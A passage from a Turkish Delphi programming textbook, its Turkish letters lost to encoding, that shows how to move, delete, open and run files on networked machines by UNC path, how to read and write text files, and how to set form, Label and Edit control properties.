Fonksiyonlar Network Ortamnda Kullanmak: Dosya yolu belirleyerek kullandnz tm fonksiyonlar, UNC path (Network path) belirleyerek dier bilgisayarlar iin de kullanabilirsiniz. Mesela A makinesindeki bir dosyay B makinesine UNC path belirterek kolayca gnderebilirsiniz. Veya A makinesinden B makinesindeki herhangi bir exe uygulamasn kolayca altrabilirsiniz. Bu uygulamalar yapabilmeniz iin dier makinelerde kullanacanz dosyalarn bulunduu klasrlerin paylama ak ve yeterli derecede yetkiye sahip olmanz gerekmektedir. Klasrn Paylama Almas: Network ortamnda dier makinelerin sizin klasrlerinizdeki dosyalara eriebilmeleri iin o klasr muhakkak paylama amalnz. Bir klasr paylama amak iin aadaki admlar izlemeniz yeterli olacaktr. Paylama aacanz klasr mous ile sein. Mousun sa tuuna tklayarak mennn almasn salayn. Alan mende Sharing seeneini sein. Paylam adna klasrnzn ismini verip Ok basn.

Paylama alm olan bir klasrn zerinde el iareti windows tarafndan oluturulacaktr. UNC Path Nasl Belirtilir: Network trafinde ilem yapacaksanz standart olarak kullandnz dosya yolu yerine UNC path belirtmelisiniz. UNC path aadaki ekilde girilebilir. \\Makine_ismi\klasr_paylam_ismi\dosya_ad UNC path belirtirken \\ iki adet ters slala ie balamalsnz. Delphi bu iki karakteri yanyana grnce ada ilem yapacan anlayacaktr. Ardndan ilgilendiiniz dosyann bulunduu makine ismini (MyComputer zerinde mousun sa tuuna tklayn, alan menden properties i sein, alan pencerede Network Identification yaprandan makine ismini renebilirsiniz), paylama atnz klasrn paylam adn ve son olarakta ilgilendiiniz dosyann ismini girmelisiniz. Aada UNC path kullanmna rnek olmas balamnda fonksiyonlarn bazlarna ait rnekler verilecektir. Siz dosya veya klasr yolu girilen dier tm fonksiyonlar iinde aynen kullanabilirsiniz. 377

Makineler Aras Dosya Transferi: Bu rnekte A makinesi ierisindeki (kendi makineniz) prestige klasrnde bulunan nihat.txt dosyasn RenameFile fonksiyonunu kullanarak, EFSANE makinesindeki gazi (paylama ak olmas gerekir) isimli klasrn ierisine ayn isimle gndermeyi deneyeceiz (tama). procedure TForm1.Button29Click(Sender: TObject); begin RenameFile('c:\prestige\nihat.txt','\\EFSANE\gazi\nihat.txt'); end; Dier Makinedeki Dosyay Silmek: imdiki rneimizde A makinesinden (kendi makineniz) EFSANE isimli dier bilgisayarda bulunan gazi klasrnn ierisindeki nihat.txt dosyasn sileceiz. procedure TForm1.Button30Click(Sender: TObject); var mesaj:Word; begin if FileExists('\\EFSANE\gazi\nihat.txt') then//dosya varsa begin mesaj:=Application.MessageBox('Silinsinmi','Dosya Sil',mb_yesno); if mesaj=mrYes then begin DeleteFile('\\EFSANE\gazi\nihat.txt');//EFSANE makineinden sil ShowMessage('EFSANE Bilgisayarndan Dosya Silindi'); end; end else ShowMessage('Dosya Bulunamad'); end; Program altrdnz zaman ilk olarak EFSANE isimli bilgisayarda silinecek olan dosyann var olup olmad FileExists fonksiyonu ile kontrol edilmekte (bulursa true deerini dndrr), ardndan dosya bu yol zerinde ise DeleteFile fonksiyonu kullanlarak silinmektedir. Tekrar hatrlatmakta fayda var. Dier bilgisayarda o dosyay silme yetkisine sahip olmalsnz. Ayrca sileceiniz dosyann bulunduu klasrnde paylama ak olmas gerekmektedir. 378

Dier Makinedeki exe Uygulamasn altrmak: imdiki rneimizde A makinesinden (kendi makineniz) EFSANE isimli dier bilgisayarda bulunan Winnt klasrnn ierisindeki NotePad.exe dosyasn altracaz (Winnt klasrn paylama amay unutmayn). procedure TForm1.Button31Click(Sender: TObject); begin if FileExists('\\EFSANE\winnt\Notepad.exe') then //dosya varsa begin WinExec('\\EFSANE\winnt\Notepad.exe',SW_SHOW);//ALITIR ShowMessage('Uygulama Baaryla altrld'); end else ShowMessage('Dosya Bulunamad'); end;

379

Log Dosyas Oluturmak: Bu blmde sizlere bilgisayarnzda bulunan bir txt (veya log-bat) dosyasndaki bilgileri hzlca kontrolnze nasl alabileceinizi ve kontrolnzdeki verileri txt (veya dier uzantlarla) uzantl dosyada nasl saklayabileceinizi gstereceim. lk olarak kontroldeki verileri txt uzantl bir dosyaya nasl kaydedebileceinizi gsterelim. Formunuzun zerine bir adet Memo ve SaveDialog kontrol yerletirip aadaki ekilde ierisine gerekli metni giriniz.

imdi de aadaki kodlar button kontrolnn OnClick yordamna ekleyiniz. procedure TForm1.Button1Click(Sender: TObject); //Kaydet var dosya:AnsiString; begin SaveDialog1.Title:='Dosya Kaydet'; SaveDialog1.DefaultExt:='txt';//uzant verilmezse txt kaydet if SaveDialog1.Execute Then begin dosya:=SaveDialog1.FileName; Memo1.Lines.SaveToFile(dosya);//Kaydet end; end; Programnz altrp button kontrolne tkladktan sonra, semi olduunuz yolda txt uzantl dosyanz oluacaktr. 380

imdi bu dosyann zerine mous ile ift tklayarak an. Notpad te alacak olan dosyann ierii Memo kontrolnzdeki ierikle ayn olacaktr.

imdi de ayn uygulamay Network ortam iin oluturalm. Tasarmnzda hi bir deiiklik yapmadan kodu aadaki ekilde deitiriniz. procedure TForm1.Button2Click(Sender: TObject); begin if DirectoryExists('\\EFSANE\gazi') Then//Klasr varsa Memo1.Lines.SaveToFile('\\EFSANE\gazi\zeki.txt'); end; Kodlamada yaplan ilem udur. A bilgisayarndan (kendi makineniz) EFSANE isimli dier bilgisayarda bulunan gazi klasrnn ierisinde zeki.txt dosyas oluturularak Memo kontrolndeki ierik bu dosyaya aktarlmaktadr. Sanyorum artk UNC path kavramn kavramsnzdr. Standart path belirterek yapacanz tm ilemleri UNC path belirterek de yapabilirsiniz.

381

imdi de ikinci durumu incelemeye balayalm. Amacmz herhangi bir txt (logbat-ini) dosyasndaki bilgileri kontrol ierisine alarak kullancya gstermektir. Formunuzun zerine bir adet Memo ve bir adet OpenDialog kontrol ekleyerek aadaki form tasarmn oluturunuz.

Aadaki kodlarda Button kontrolnn OnClick yordamna ekleyiniz. procedure TForm2.Button1Click(Sender: TObject); var dosya:AnsiString; begin OpenDialog1.Title:='Dosya A'; OpenDialog1.Filter:='Text Dosyalar|*.txt;Log Dosyalar|*.log'; if OpenDialog1.Execute Then begin dosya:=OpenDialog1.FileName; Memo1.Lines.LoadFromFile(dosya);//Memoya Al end; end; Ayn uygulamay imdi de UNC Path kullanarak dier bir bilgisayar iin deneyelim. Programnzn tasarmnda hi bir deiiklik yapmadan Button kontrolnn OnClick yordamndaki kodu aadaki ekilde deitirip uygulamanz altrnz. ayet herhangi bir hata yapmad iseniz dosya ieriinin Memo kontrolne aktarldn greceksiniz.

382

procedure TForm2.Button2Click(Sender: TObject); begin if FileExists('\\EFSANE\gazi\zeki.txt') Then //Dosya Varsa begin Memo1.Lines.LoadFromFile('\\EFSANE\gazi\zeki.txt'); ShowMessage('Dosya Baaryla Ald'); end else ShowMessage('Dosya Bulunamad'); end; TextFile Kullanarak Dosyadan Veri Okumak: Aada ayn rnekler Sral Eriimli dosya mant kullanlarak zlmektedir. lk olarak dosyada bulunan ieriin Memo kontrolnde gsterilmesini inceleyelim. procedure TForm2.Button3Click(Sender: TObject); var oku:TextFile;//Dosya gstermek iin tanmland satir:AnsiString; begin AssignFile(oku,'c:\gazi\zeki.txt');//Dosyay gster Reset(oku);//A While not eof(oku) do //Dosya sonuna kadar ok begin Readln(oku,satir);//satr satr oku satir deikenine aktar Memo1.Lines.Add(satir);//Memo ya yaz end; end; Kod satrlarn inceleyecek olursanz; AssignFile methodu gsterilmektedir. sayesinde ierii okunacak dosya referans

Reset methoduyla referans gsterilen dosyann sral eriim modunda almas salanmaktadr. ReadLn methoduyla da dosya satr satr okunup Memo kontrolne aktarlmaktadr.

383

Ayn rnei SaveDialog penceresi kullanarak yapmak isterseniz kodunuzu aadaki ekilde deitirmeniz gerekecektir. procedure TForm2.Button4Click(Sender: TObject); var oku:TextFile;//Dosya gstermek iin tanmland satir,yol:AnsiString; begin OpenDialog1.Title:='Dosya A'; OpenDialog1.Filter:='Text Dosyalar|*.txt;Tm Dosyalar|*.*'; if OpenDialog1.Execute Then begin yol:=OpenDialog1.FileName; AssignFile(oku,yol);//Dosyay gster Reset(oku);//A While not eof(oku) do //Dosya sonuna kadar ok begin Readln(oku,satir);//okunan satr satir deikenine at Memo1.Lines.Add(satir);//Memo ya yaz end; end; end; TextFile Kullanarak Dosyaya Veri Yazmak: Bu blmde TextFile dosya deikeni kullanarak Memo kontrolndeki bilgileri txt uzantl dosyaya nasl kaydedebileceinizi gstereceim. Formunuzu aadaki ekilde tasarlayn.

Aadaki kodlar da Button kontrolnn OnClick Event na yaznz. 384

procedure TForm1.Button3Click(Sender: TObject); var yaz:TextFile; satir,yol:AnsiString; i:Integer; begin i:=0; SaveDialog1.Title:='Dosya Kaydet'; Savedialog1.DefaultExt:='txt';//uzant yazlmazsa txt kabulet if SaveDialog1.Execute Then begin yol:=SaveDialog1.FileName; AssignFile(yaz,yol);//dosyay referans et RewRite(yaz);//yazma modunda a Repeat WriteLn(yaz,Memo1.Lines[i]);//tm satrlar yaz inc(i); Until i>Memo1.Lines.Count-1; CloseFile(yaz);//dosyay kapat end; end; Yukardaki rneklerin ikisinde de UNC Path kullanabilirsiniz. ayet hata yapmazsanz dosyalama ilemleriniz baaryla gerekleecektir.

385

386

BLM 13 DELPHI KONTROLLER

387

388

Form zellikleri: Windows tabanl uygulamalar bir ok formun beraberce kullanlmasndan olumaktadr. Bu yzden ilk olarak formlara ait zelliklere deinmek istiyorum. Aada bu kontrole ait tm zellikler detayl olarak incelenmektedir. Form1.Caption Formun balndaki ierik bu zellikle renilebilecei gibi, ierii deitirmek iin de yine bu zellikten faydalanabilirsiniz.

Button kontrollerine ait kodlar aada verilmitir. procedure TForm1.Button1Click(Sender: TObject); //Bal Belirle begin Form1.Caption:='Prestige Education Center';//balkta yaz end; procedure TForm1.Button2Click(Sender: TObject); //Bal ren var metin:AnsiString; begin metin:=Form1.Caption;//deikene aktar ShowMessage(metin); end; Bu zellik AnsiString tipte bir veri barndrmaktadr. Bu yzden aktaracanz deer saysal ierik barndryorsa tip dntrme ilemi uygulamanz gerekecektir.

389

Form1.AutoScroll Bu zellik sayesinde formun ierisindeki kontroller forma smad zaman kaydrma ubuklarnn eklenip eklenmeyeceini belirlemek iin kullanlan bir zelliktir.

Sol taraftaki formun AutoScroll deerine False atanm olup, sa taraftaki formun AutoScroll zellii True deerini barndrmaktadr. Kod penceresinden bu zellie aadaki ekilde deer atayabilirsiniz. procedure TForm1.FormCreate(Sender: TObject); begin Form1.AutoScroll:=True;//kaydrma ubuklarn ekle end; Form1.Position Formun ekranda alaca yeri belirleyen zelliidir. Aada alabilecei deerler izah edilmitir.
Position poScreenCenter poDesigned poMainFormCenter poDesktopCenter poOwnerFormCenter Sonu Ekrann Ortasnda Alr Tasarm Anndaki Koordinatlarda Alr Ana Formun Ortasnda Ekran Ortasnda Alr yesi Olduu Formun Ortasnda

procedure TForm1.FormCreate(Sender: TObject); begin Form1.AutoScroll:=True; Form1.Position:=poScreenCenter;//ekrann ortasnda end; 390

Form1.WindowState Formun al anndaki boyutunu ayarlayan zelliidir (Ekran kapla-taskbarda al, tasarm anndaki yerinde vs.). Alabilecei deerler aada verilmitir.
WindowState wsMinimized wsMaximized wsNormal TaskBar da Al Ekran Kapla Tasarm Anndaki Boyutuyla Al Sonu

Kodla aadaki ekilde deitirmeniz mmkn olacaktr. procedure TForm1.FormCreate(Sender: TObject); begin Form1.AutoScroll:=True; Form1.WindowState:= wsMinimized;//Taskbar da al end; Form1.Visible Formun gzkp gzkmemesini salayan zelliidir. Properties penceresinden ayarlayabileceiniz gibi, Unit penceresinden de aadaki ekilde deitirebilirsiniz. procedure TForm1.FormCreate(Sender: TObject); begin Form1.Visible:=True;//Formu gizle end; Form1.BorderStyle Formun grnn ve ereve eklini ayarlayan zelliidir. Aada alabilecei tm deerler verilmitir.
BorderStyle bsNone bsDialog bsSingle bsSizeable bsSizeToolWin bsToolWindow Sonu Balk ksm olmayan, tanamaz,boyutlandrlamaz Tanabilir, Fakat Boyutlandrlamaz,Man Max yok Tanabilir,Boyutlandrlamaz, Min Max Buttonu var Var saylan deer. Tama,Boyutlandrma serbest Formun balk ksm ufalr.Max,Min Buttonu yok Formun Balk ksm ufalr. Boyutlandrlamaz

391

Aadaki pencere BorderStyle zelliine bsNone deerini aktardktan sonra olumutur. Formun balk ksmnn bulunmadna ve kullanc tarafndan boyutlandrlamayacana dikkat ediniz. Ayrca boyutlarnn deitirilmesinin mmkn olamayacan da belirtelim.

procedure TForm1.FormCreate(Sender: TObject); begin Form1.AutoScroll:=True; Form1.BorderStyle:=bsNone; end; Aadaki pencerede BorderStyle zelliine bsToolWindow deeri aktarldktan sonra gsterilmitir. Max Min dmelerinin bulunmadna ve baln daha da kldne ltfen dikkat ediniz.

procedure TForm1.FormCreate(Sender: TObject); //BorderStyle begin Form1.AutoScroll:=True; Form1.BorderStyle:=bsToolWindow; end;

392

Form1.ActiveControl O anda kontroln hangi kontrolde olduunu renebileceiniz zelliidir. Aadaki rnekte cursor hangi kontrolde ise formun balnda o kontroln ismini yazdracaz. Projenize bir adet Timer, iki adet Edit kontrol yerletirip, aadaki kodlar da formunuza ekleyiniz.

Programa ait kod satrlar aada verilmitir. procedure TForm1.FormCreate(Sender: TObject); begin Timer1.Interval:=10; Timer1.Enabled:=True; end; procedure TForm1.Timer1Timer(Sender: TObject); begin if Form1.ActiveControl=Edit1 then Form1.Caption:='u Anda Kontrol Edit1 de' else if Form1.ActiveControl=Edit2 Then Form1.Caption:='u Anda Kontrol Edit2 de'; end; imdi ayn ilemi Idle olay yaratp zeceim. Tasarmnzda hibir deiiklik yapmadan Unit pencerenizde bulunan kodlar aadaki ekilde deitiriniz.

393

private { Private declarations } procedure kontrol(sender:TObject;var deg:Boolean);//Eklemeyi unutmayn public { Public declarations } end; implementation {$R *.dfm}procedure TForm1.FormCreate(Sender: TObject); begin Application.OnIdle:=kontrol;//let end; procedure TForm1.kontrol(sender: TObject; var deg: Boolean); //Program uyuduunda ileyecek olan kod blou begin if Form1.ActiveControl=Edit1 then Form1.Caption:='u Anda Kontrol Edit1 de' else if Form1.ActiveControl=Edit2 Then Form1.Caption:='u Anda Kontrol Edit2 de'; end; lk olarak Private blmnde kontrol isimli prosedr tanmlayn. Ardndan cursor bu satrda iken Ctrl+Shift+C tularna beraberce basn (prosedr kod blounu otomatik olarak oluturacaktr). Son olarak dier kodlar ekleyin ve program altrn. Ayn sonucun olutuunu greceksiniz (Idle olay daha nceki blmlerde izah edilmitir). Form1.FormStyle Formunuzun MDI form veya SDI form olmasn belirleyen zelliidir. Bir formun MDI olmas daha sonraki blmde izah edilecektir. Alabilecei deerler aada verilmitir.
FormStyle fsNormal fsMDIForm fsMDIChild fsStayOnTop MDI Form oluturur MDI Yavru formu oluturur. Bu zellik Formun hep en stte kalmasn salar Sonu SDI Form Oluturur. Varsaylan deer budur.

procedure TForm1.FormCreate(Sender: TObject); begin Form1.FormStyle:=fsStayOnTop;//Hep en stte kal end; 394

Form1.BorderWidth Formun kullanlmayacak olan kenar kalnln belirlemek iin kullanlan zelliidir. procedure TForm1.FormCreate(Sender: TObject); begin Form1.FormStyle:=fsStayOnTop Form1.BorderWidth:=50; end; Form1.KeyPreview alma annda cursor Edit1 kontrolnde iken klavyeden herhangi bir tua basld anda Edit1 kontrolnn KeyDown (KeyUp ve Keypress) Event lar ileyecektir. Yani baslan tutan ilk olarak bu kontroller haberdar olacaktr. ayet Form un KeyPreview zelliini True yaparsanz bu durumda baslan tu ilk olarak Form un yukardaki yordamlarn iletecektir. Bu zellii iyi anlamanz iin aada verilen iki rnei dikkatlice inceleyiniz. Formunuzun zerine iki adet Edit kontrol yerletirip (Formun Keypreview zellii henz false) aadaki kodlar Unit pencerenize ekleyiniz.

procedure TForm1.FormCreate(Sender: TObject); begin Form1.KeyPreview:=False; end; procedure TForm1.Edit1KeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin if Key=VK_LEFT Then //sol yn tuu basldysa Edit1.Left:=Edit1.Left-50 //50 birim sola else if Key=VK_RIGHT Then //sa yn tuu basldysa Edit1.Left:=Edit1.Left+50 //50 birim saa end; 395

Uygulamanz altrp cursor u Edit1 kontrolne tkladktan sonra sol ve sa yn tularna basn, kontrolnz yatay olarak hareket edecektir. Peki cursor Edit2 de iken (veya baka bir kontrolde de olabilir) yn tularna basarak Edit1 kontroln her zaman nasl hareket ettirebilirsiniz. te burada Formun KeyPreview zelliini devreye sokarak ilemi halledebiliriz. Bu zellie true deerini aktarrsanz, ilk olarak Formun KeyDown olay ileyecek sorun da zlecektir (Bilhassa grafiksel oyunlarda ok kullanlan bir zelliktir). Kodunuzu aadaki ekilde deitiriniz. procedure TForm1.FormCreate(Sender: TObject); begin Form1.KeyPreview:=True; end; procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin if Key=VK_LEFT Then //sol yn tuu basldysa Edit1.Left:=Edit1.Left-50 //50 birim sola else if Key=VK_RIGHT Then //sa yn tuu basldysa Edit1.Left:=Edit1.Left+50 //50 birim saa end; imdi programnz altrrsanz cursor un olduu kontrol nem arz etmeyecek, yn tularna ne zaman basarsanz basn Edit1 kontrolnz yatay olarak hareket edecektir. Form1.Show Formu ekranda gstermek iin kullanlan methoddur. Unutmayn amak istediiniz Forma ait Uniti , aktif formun Unitine eklemeyi unutmaynz (Zaten aksini sylemezseniz, kendisi bu ilemi otomatik olarak yapacaktr). //uses Unit1 i eklemeyi unumaynz procedure TForm1.Button3Click(Sender: TObject); //Formu a begin Form1.Show; //form1 i a end;

396

Form1.ShowModal Form1.Show ile ayn ii yapar. Aralarndaki fark modal olarak alan formlar kapatlmadan dier formlardan hibiri aktifletirilemez. //uses Unit1 i eklemeyi unumaynz procedure TForm1.Button3Click(Sender: TObject); //Formu a begin Form1.ShowModal; //form1 i modal a end; Form1.Hide Formu gizlemek iin kullanlan zelliidir. Form1.Visible:=false ile ayn ii yapar. procedure TForm1.Button3Click(Sender: TObject); begin Form1.Hide;//Formu gizle end; Form1.Close Formu kapatmak iin kullanlan methotdur. ayet ak baka form yoksa program kapatan komut olacaktr. procedure TForm1.Button3Click(Sender: TObject); begin Form1.Close;//Formu kapat End; Form1.ClientWidth Formun yatay geniliinden ereve kalnln kardktan sonra kalan uzunluu ifade eden zelliidir. Form1.ClientHeight Formun yksekliinden ereve kenarln kardktan sonra kalan yksekliini belirleyen zelliidir. 397

Form1.Width Formun yatay uzunluunu belirleyen zelliidir. Procedure TForm1.FormCreate(Sender: TObject); begin Form1.Width:=250; end; Form1.Height Formun dey yksekliini belirleyen zelliidir. procedure TForm1.FormCreate(Sender: TObject); begin Form1.Width:=250;//uzunluk Form1.Height:=250;//ykseklik end; Aadaki ekilde formun boyutlaryla oynayarak basit bir animasyon program gelitirebilirsiniz. Uygulama iin formunuzun zerine sadece bir adet Timer kontrol yerletirmeniz yeterli olacaktr. Timer kontrolnn properties den Interval zelliine 50 girmeyi unutmayn (yoksa ok ar hareket eder). procedure TForm1.Timer2Timer(Sender: TObject); //Animasyon yarat {$j+}//Eklemeyi unutmayn Const yon:Boolean=False; begin if yon=false then begin if Form1.Width>500 Then begin yon:=true; end else begin Form1.Width:=Form1.Width+10; end; end 398

else begin if Form1.Width<200 Then begin yon:=false;//ilk ksm ilesin end else begin Form1.Width:=Form1.Width-10;//Formun geniliini azalt end end; end; Form1.Icon Formunuzun balnda yer alan iconu belirleyen zelliidir. Unit penceresinden aadaki ekilde deitirebilirsiniz. procedure TForm1.Button3Click(Sender: TObject); begin Form1.Icon.LoadFromFile('C:\Winnt\SearchPDFWinColor.ico');//Ykle end; DockSite-DragKind-DragMode Fomlarn tanmas, braklmas, dier nesneleri kabullenebilmesi iin gerekli ayarlarn yaplabildii zelliklerdir. Aadaki rnei adm adm inceleyerek gerekli ayarlamalar yapnz.

Yukardaki gibi Formunuzun zerine iki adet Panel, iki adet Shape kontrol yerletirip, Align zelliklerini birinin Left dierinin Right yapn. 399

procedure TForm1.FormCreate(Sender: TObject); begin Panel1.DockSite:=true; panel2.DockSite:=true; Form1.DockSite:=False; Shape1.DragKind:=dkDock; Shape2.DragKind:=dkDock; Shape1.DragMode:=dmAutomatic; Shape2.DragMode:=dmAutomatic; end; Program altrdktan sonra Shape kontrollerini mous sol tuu baslyken srkleyip panellerin zerine getirip brakn, ekran grntnz aadaki gibi olacaktr.

imdi tekrar bu kontrolleri mous ile srkleyip formunuzun zerine braknz. Ekran grntnz aadaki gibi olacaktr.

Birinci durumda panellerin Shape kontrollerini sahiplenmesinin sebebi DockSite zelliklerinin true olmasndan dolaydr. kinci durumda Formun DockSite zellii false olduu iin kontrolleri sahiplenmeyi reddetmitir. 400

DragKind ve DragMode zellikleri de Shape kontrollerinin srklenme ilemlerinin gerekleebilmesi iin deitirilmitir. imdi daha deiik bir rnek verelim. Bu seferde formlar srkleyerek dier kontrollere brakalm. Projenize 3 adet form ekleyin. Ardndan ilk formunuza Win32 yapranda yer alan bir adet PageControl kontrol ekleyip, Align zelliine Bottom deerini girin. Son olarak ekleyeceiniz button kontrolnn OnClick yordamna aadaki kodlar ekleyiniz.

procedure TForm1.Button1Click(Sender: TObject); begin PageControl1.DockSite:=true; Form2.DragKind:=dkDock; Form3.DragKind:=dkDock; Form2.DragMode:=dmAutomatic; Form3.DragMode:=dmAutomatic; Form2.Caption:='Gazi niversitesi'; Form3.Caption:='Prestige Education Center'; Form2.Show; Form3.Show; end; Programnz altrp button kontrolne tklayn. Alan formlar srkleyip PageControl kontrolnn zerine brakn. Yukardaki ekran grntsnn olutuunu greceksiniz. Bu ve buna benzer dier ilemleri (sahiplenme) Delphide kolayca gerekletirebilirsiniz.

401

Al Formunu Belirlemek: Uygulamanzda birden fazla form kullandnz (genellikle yle olacak) zamanlar ilk alacak form genellikle birinci form olmayacaktr. Bu yzden dier formlardan bir tanesini al formu olarak belirleyebilirsiniz. Aada rastgele bir formu nasl al formu olarak dzenleyebileceiniz adm adm izah edilmitir. Project->Options men seeneklerinden sonra aadaki pencere alacaktr.

Bu pencerede yer alan Main form listesinden alta ilk almasn istediiniz formu belirleyebilirsiniz. Formunuzu belirledikten sonra OK Buttonuna tklayn. Artk uygulamanz altrrsanz bu pencereden semi olduunuz form ilk olarak alacak, dier formlar bu formdan ynlendireceksiniz. Bu arada hatrlatalm, bu pencerede Auto-Create Forms listesinde yer alan herhangi bir formu Available Forms listesine aktarrsanz, o formun Unit penceresine eklenmi olan kodlar gzard edilecektir. lerinde hatal bir kod olsa bile uygulamanz alacaktr.

402

MDI Form Oluturmak: Bir ok uygulama (Excel, word vs.) MDI Form mantyla alr. Yani ana forma ait bir ok yavru form tretilebilmektedir. Aada MDI Formlar nasl oluturabileceiniz gsterilmektedir. lk olarak yapmanz gereken MDI Form yapacanz formun FormStyle zelliine fsMDIForm deerini girmek olacaktr. Dilerseniz Unit penceresinden de belirleyebilirsiniz. procedure TForm1.FormCreate(Sender: TObject); begin Form1.FormStyle:=fsMDIForm;//MDI Form yarat end;

Ardndan projenize yeni bir form ve MainMenu kontrol (daha sonra detayl olarak anlatlacaktr) ekleyin. MainMenu kontrolnn zerine mous ile ift tklayn. En stte A alt satrna da (geileri yn tularyla yapabilirsiniz) Yavru Formu A yazn. Yavru Formu A yazsnn zerine mous ile ift tklayarak Event ksmna ulan ve buradaki kodu aadaki ekilde deitirin. procedure TForm1.YavruFormuA1Click(Sender: TObject); begin Form2.FormStyle:=fsMDIChild; Form2.Show; end; Artk programnz altrabilirsiniz. Ana formunuz aldktan sonra Yavru Formu A mensne tklarsanz ekran grntnz aadaki ekilde olacaktr. Bu mantkla dilediiniz kadar formu tek bir formdan ynetebilirsiniz. Burada

403

dikkatinizi ekmek istediim dier bir nokta da Child Formlarn ana formun dna kamayacaklardr.

Buradaki kodla yaptmz birok ayar properties penceresinden de yapabilirdiniz. Tercih tamamen sizlere kalmtr (Kodlamay her zaman tercih etmeniz tavsiyemizdir).Tabidir ki men seeneklerini de dilediiniz kadar oaltabilirsiniz. Bizim amacmz olay en sade ve anlalr ekilde izah edebilmektir.

404

Label Kontrol: Klavyeden bilgi giriine izin vermeyen, etiket amal kullanlabilen kontroldr. Bu kontrole ait zellikler aada teker teker incelenmektedir. Label1.Caption Etiketin zerinde gsterilecek olan ierii renmek veya deitirmek amal kullanlan zelliidir. bir

procedure TForm1.FormCreate(Sender: TObject); begin Label1.Caption:='Prestige Education Center'; end; Label1.Color Label kontrolnn zemin rengini belirleyen zelliidir. Propertiesten deitirilebilecei gibi aadaki ekilde Unit penceresinden de deitirilebilir. procedure TForm1.FormCreate(Sender: TObject); begin Label1.Caption:='Prestige Education Center'; Label1.Color:= clGrayText; end; Label1.Font.Color Label kontrolnn yaz tipi rengini belirleyen zelliidir. procedure TForm1.FormCreate(Sender: TObject); begin Label1.Font.Color:=clWindow; end; 405

Label1.Font.Style Etikete ait Font ayarlarn belirleyebileceiniz zelliidir (Kaln-talik-Alt izili vs). Properties penceresinden ayarlayabileceiniz gibi aadaki gibi bir kod satrylada deitirebilirsiniz. procedure TForm1.FormCreate(Sender: TObject); begin Label1.Caption:='Prestige Education Center'; Label1.Font.Style:=Label1.Font.Style+[fsBold,fsItalic] //fsUnderline de kullanlabilirdi end; Kodda yaplan ilem Eski font zelliklerine Bold ve talik zelliini eklemektir. ayet var olan bir stili kaldrmak isterseniz o zamanda aradaki iaretin (-) olmas gerekmektedir. Label1.WordWrap Etiketin ierisinde birden fazla satrl yaz oluturabilmek iin kullanlan zelliidir. True veya False deerini alabilen bu zelliin true olmas alt satra inilebilecei anlamn tamaktadr.

procedure TForm1.FormCreate(Sender: TObject); begin Label1.Caption:='Prestige Education Center'; Label1.Color:= clGrayText; Label1.Font.Color:=clWindow; Label1.WordWrap:=true;//alt satra in Label1.Font.Style:=Label1.Font.Style+[fsBold,fsItalic]//kaln ve italii ekle end; 406

Label1.ShowAccelChar-FocusControl ayet Caption deerini belirlerken & karakterini (ksayol belirlemek iin) girdiyseniz bu iki zellii kullanarak istediiniz kontrol aktif hale getirebilirsiniz. Olay anlamanz iin aadaki form tasarmn oluturunuz.

imdide aadaki kodlar Unit pencerenize ekleyin. procedure TForm1.FormCreate(Sender: TObject); begin Label1.Caption:='&Meslek';//ksayol belirlendi Label1.ShowAccelChar:=true; Label1.FocusControl:=ComboBox1; Label2.Caption:='Me&deni Hal';//Ksayol belirlendi Label2.ShowAccelChar:=true; Label2.FocusControl:=ComboBox2; end; imdi programnz altrn. Alt tuu baslyken M harfine basarsanz kontrol ComboBox1 e, Alt tuu baslyken d harfine basarsanz kontrol ComboBox2 ye geecektir.

Kodlamada yaplan atamalar properties penceresinden de yapmanzn mmkn olduunu hatrlatp dier kontrolleri incelemeye devam ediyorum. 407

Edit Kontrol: Daha ok klavyeden yaplacak bilgi girileri iin kullanlan bu kontrole ait zellikler aada verilmitir. Edit1.Text Bu zellik sayesinde Edit kontrolnn ierii bir deikene aktarlabilir veya deikendeki bir deer kullancya gsterilebilir. procedure TForm1.FormCreate(Sender: TObject); begin Edit1.Text:='Prestige Education Center'; end; ayet string tip deikenin deeri bu zellie aktarlacaksa; procedure TForm1.FormCreate(Sender: TObject); var adres:AnsiString; begin adres:= 'Prestige Education Center' Edit1.Text:=adres; //Prestige Education Center yazar end; Atanacak veri Tam say tipindeyse; procedure TForm1.FormCreate(Sender: TObject); var sayi:Integer; begin sayi:=500; Edit1.Text:=IntToStr(sayi); //500 yazar end; Atanacak veri ondalkl say ieriyorsa; procedure TForm1.FormCreate(Sender: TObject); var sayi:Double; begin sayi:=500.250; Edit1.Text:=FloatToStr(sayi); //500.25 yazar end;

408

Atanacak veri Tarihsel veri ieriyorsa; procedure TForm1.FormCreate(Sender: TObject); var tarih:TDateTime; begin tarih:=StrToDate('25.07.2003'); Edit1.Text:=DateToStr(tarih); //25.07.2003 yazar end; Edit1.CharCase Caps Lock tuunun kullanmna snrlama getirebileceiniz zeliidir. Yani Edit kontrol ierisine sadece byk harfle bilgi (veya kk) girii istenirse bu zellikle belirlenebilir. Aada alabilecei seenekleri ve anlamlar verilmitir.
CharCase ecUpperCase ecLowerCase ecNormal Sonu Sadece Byk harflerle giri yaplabilir Sadece Kk harflerle giri yaplabilir Varsaylan deer. Hem Kk Hem Byk Karakter

Properties penceresinden deitirebileceiniz gibi, aadaki ekilde Unit penceresinden de deitirilebilir. procedure TForm1.FormCreate(Sender: TObject); begin Edit1.CharCase:= ecUpperCase;//sadece byk harf end; Yukardaki ekilde yapacanz bir kodlama sonucunda, Edit kutusuna kk karakterlerle bile girii yapmaya kalksanz bile byk harfle yazacaktr. Edit1.PasswordChar ifreli bilgi girilmesi durumunda (yannzdaki kii ifrenizi renmesin diye) kullanlan bu zellie aktaracanz karakter sayesinde, Edit in ieriindeki tm metin bu karakterle ayn gzkecektir. procedure TForm1.FormCreate(Sender: TObject); begin Edit1.PasswordChar:='#'; end;

409

Yukardaki kod satrnn alma anndaki etkisi aadaki ekilde olacaktr. Edit kutusunun ieriine dikkat edecek olursanz tm karakterlerin ayn olduunu grrsnz.

ayet program koduyla eskiye dn yapmanz gerekecekse aadaki gibi bir kod satr kullanmalsnz. procedure TForm1.Button1Click(Sender: TObject); begin Edit1.PasswordChar:=#0;//ifre karakterini kaldr end; Edit1.AutoSize Yaz tipi bykln artrdnz zaman Edit kontrolnn de boyutlarnn (yazy ierisine alacak ekilde) deiip deimemesini salayan zelliidir. True deerinin aktarlmas,yaz byklne gre boyutun deiecei anlamn tamaktadr.

procedure TForm1.FormCreate(Sender: TObject); begin Edit1.AutoSize:=FALSE; end;

410

